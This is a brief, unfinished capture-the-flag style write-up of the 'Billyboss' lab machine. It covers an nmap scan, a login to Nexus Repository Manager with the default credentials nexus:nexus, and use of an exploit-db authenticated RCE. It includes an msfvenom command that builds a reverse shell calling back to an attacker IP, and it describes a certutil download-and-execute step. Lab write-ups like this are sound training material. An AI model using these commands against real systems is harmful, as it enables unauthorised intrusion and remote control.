> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/to-do/billyboss.md).

# Billyboss (WIP)

## Nmap

```
sudo nmap 192.168.64.61 -p- -sS -sV                

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Microsoft ftpd
80/tcp   open  http    Microsoft IIS httpd 10.0
8081/tcp open  http    Jetty 9.4.18.v20190429
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

On port 8081 we have Sonar Nexus Repository manager running on version 3.21.0.05.

![http://192.168.64.61:8081/](/files/-MUuBrDcP8dtQst6k4_v)

Guessing the sign in credentials of nexus:nexus gives access to Nexus. Searching for exploits shows an authenticated RCE on exploit-db.com

{% embed url="<https://www.exploit-db.com/exploits/49385>" %}

First I created a reverse shell with msfvenom to connect on port 21. `msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.64 LPORT=21 -f exe > /home/kali/windows/shell.exe`

Then set a Python SimpleHTTPServer on my attacking machine to host the shell. After doing so I edited the exploit code to include the credentials we have and to execute cmd.exe and certutil.exe to download the reverse shell from my attacking machine.

![](/files/-MUuCjsEPOBqFlfui1fY)

After doing this and confirming from my attacking machine that the shell was downloaded I then edited the exploit code to call cmd.exe again and execute the shell.

![](/files/-MUuD-VUpoxW140Srmbe)

In which we receive. a shell back on our `netcat` listener.

![](/files/-MUuDENkdVLOt-oHlAbs)